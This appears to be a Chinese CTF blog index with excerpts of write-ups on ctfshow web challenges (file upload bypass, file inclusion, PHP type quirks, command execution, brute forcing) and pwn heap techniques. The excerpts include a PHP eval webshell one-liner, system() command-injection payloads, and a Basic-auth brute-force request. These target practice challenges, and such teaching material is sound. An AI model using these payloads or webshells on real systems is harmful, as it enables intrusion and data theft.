Web-文件上传
文件上传以下题目均来自于ctfshow web入门练习题文件上传部分。
前端校验查看源代码,发现button里检验是不是png:
123<button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept:'images',exts:'png'}"> <i class="layui-icon"></i>上传图片</button>
两种方法绕过:
方法一:
直接在elements修改源代码,把png改成php,之后上传1.php,里边写一句话木马:
123<?php system('tac ../flag.php');?>或<?php @eval($_POST["a"] ...
Web-文件包含
文件包含文件包含是一些文件包含函数产生的漏洞,如include,包含的是服务器的文件。其中include函数的特性,如果包含的文件是php,jsp等可执行的文件(png,jpg等不可执行)的话,会对文件进行解析,即执行一遍文件里的代码。
一般可以使用php伪协议读取相关文件内容。
PHP伪协议
其中,
file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
php://协议:不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://inpu ...
Web-PHP特性
PHP特性php特性一般是一些类型之间的转换产生的漏洞或函数本身的漏洞等。
以下均为ctfshow web入门篇php特性练习题:
参考自https://blog.csdn.net/weixin_45551083/article/details/110494387
例题1、intval数组绕过1234567$num = $_GET['num'];if(preg_match("/[0-9]/", $num)){ die("no no no!");}if(intval($num)){ echo $flag;}
需要input != 0-9,且intval(input) == true
方法:数组绕过。
当input是数组(object)时,intval(input)会产生错误并返回1,同时pre_match(input)也会返回0。
例题2、intval进制绕过123456789$num = $_GET['num'];if($n ...
Web-命令执行
命令执行php相关函数介绍preg_match函数:过滤函数
1preg_match("/flag/i", $c) //判断c变量中是否包含flag字符串,/i为不区分大小写。
eval函数:系统调用函数,执行函数内命令。
两者通常结合使用。
以下题目均来自于ctfshow web入门练习题命令执行部分。
参考自https://www.cnblogs.com/IFS-/p/17126297.html、https://www.cnblogs.com/GCom/p/16947760.html、https://www.cnblogs.com/GCom/p/17303018.html
例题1、1234$c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); }
即判断c变量中是否包含flag字符串,通过则执行系统调用。
首先,构造url?c=system(“ls”); 页面回显:flag.php index.php,可以 ...
Web-爆破
爆破web中爆破题目通常分为两种:
一种是审计代码,一般是md5相关加密,分析代码编写脚本进行爆破,类似密码学。
另一种则是爆破相关信息,如登录密码或身份证号等。该爆破一般需要结合burpsuite的Intruder功能来发包爆破,根据响应的状态码或响应包大小找到正确密码。
例题1:ctfshow-web入门-web21
打开网站是一个登录页面,任意输入用户名admin和密码123,通过burpsuite抓包获取到如下内容:
123456789101112131415161718GET / HTTP/1.1Host: 3e2ac8dd-277f-4df1-a1a7-65d527096673.challenge.ctf.showConnection: closeCache-Control: max-age=0Authorization: Basic YWRtaW46MTIzsec-ch-ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chrom ...
Web-信息搜集
信息收集这里总结一些Web题中信息收集的情况:
源码泄露:ctrl+u查看源码或js文件获得flag。
game类型题目:一般为通关或达到某一要求获取flag,一般根据错误提示定位到关键位置后通过在console中修改变量值来改变程序执行流程输出flag。
协议体信息泄露:在network中查看请求头或cookie等获取信息。
Robots后台泄露:
robots.txt 一个非常重要得到文件,通常情况下,主要用于指定搜索引擎蜘蛛spider在网站里的抓取范围,用于声明蜘蛛不可以抓取哪些网站资源及可以抓取哪些网站资源。
通过访问url/robots.txt查看一些重要资源。
index.php~和.index.php.swp
phps源码泄露:
phps文件作为备份文件,其中可能包含源码,通过url/index.phps访问下载备份文件。
其他常见的有linux的备份文件,比如index.php.swp还有www.zip等
```php常见的网站源码备份文件后缀:
tar.gz,zip,rar,tar
常见的网站源码备份 ...
PWN-tcache stashing unlink attack
tcache stashing unlink attack引自大佬:
[原创] CTF 中 glibc堆利用 及 IO_FILE 总结-Pwn-看雪-安全社区|安全招聘|kanxue.com
先来看house of lore,如果能够修改small bin的某个free chunk的bk为fake chunk,并且通过修改fake chunk的fd为该free chunk,绕过__glibc_unlikely( bck->fd != victim )检查,就可以通过申请堆块得到这个fake chunk,进而进行任意地址的读写操作。当在高版本libc下有tcache后,将会更加容易达成上述目的,因为当从small bin返回了一个所需大小的chunk后,在将剩余堆块放入tcache bin的过程中,除了检测了第一个堆块的fd指针外,都缺失了__glibc_unlikely (bck->fd != victim)的双向链表完整性检测,又calloc()会越过tcache取堆块,因此有了如下tcache_stashing_unlink_attack的攻击手段,并同时实现了libc ...
PWN-protobuf
Protobuf前言:有些pwn题会结合Protobuf来考查,不是很难,但是如果没了解过的话就没法正常做题。
简介Protocol Buffers,是Google公司开发的一种数据描述语言,类似于XML能够将结构化数据序列化,可用于数据存储、通信协议等方面。拿pwn中add举例,将index,size,data等一个结构体数据进行序列化传输,为了能够和程序进行交互,我们需要先逆向分析得到Protobuf结构体,然后构造序列化后的Protobuf与程序进行交互。
安装安装和分析流程参考大佬博客,这里不再赘述:
深入二进制安全:全面解析Protobuf_protoc buffer 安全性-CSDN博客
更新之前对于protobuf-3.6.1的,protoc-1.5是可以的,但是现在不行了,可能是google更新了,会提示protoc版本过低。
解决办法:安装protoc-3.19.0
123wget https://github.com/protocolbuffers/protobuf/releases/download/v3.19.0/protoc-3.19.0-linux-x86_ ...
PWN-stdout学习
stdoutstdin、stdout、stderr对应程序的输入流文件、输出流文件和错误流文件,默认情况下文件标识符为0、1、2。
很多pwn题在init中都有如下代码,这是初始化程序的io结构体,只有初始化之后,io函数才能在程序过程中打印数据,如果不初始化,就只能在exit结束的时候,才能一起把数据打印出来。。
123setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);
函数原型如下:
1int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
stream – 这是指向 FILE 对象的指针,该 FILE 对象标识了一个打开的流。
buffer – 这是分配给用户的缓冲。如果设置为 NULL,该函数会自动分配一个指定大小的缓冲。
mode – 这指定了文件缓冲的模式。
而其中mode参数决定了文件缓存的模式:
对于stdout而言,mode为0时表示全缓冲,即程序在exit结束时或缓冲区 ...
PWN-几个综合堆题
1.[CISCN 2021 初赛]silverwolf保护全开,且开启了沙箱,只能考虑orw读取flag。
add函数:分析发现程序中只有索引为0的chunk块才进行操作,因此程序中只存在一个chunk块,每次操作对最新add的chunk块进行操作。且只允许malloc的size小于等于0x78。
edit函数,读内容,不存在溢出。
show函数:打印chunk块的内容。
delete函数:存在明显uaf漏洞。
题目分析:
题目开启了沙箱,因此需要构造orw读取flag。
1、libc泄露,程序不允许申请大chunk,因此无法直接申请unsorted bin chunk后泄露main_arena。题目为libc2.27_1.4,考虑打tcache_struct,通过uaf申请到tcache_struct处,(2.27版本tcache_struct大小为0x250,大于2.29的版本为0x290),释放0x250的chunk块进入unsorted bin 进而泄露libc。
2、orw构造,泄露libc后通过查找libc里的gadget(syscall直接ROPgadget找不 ...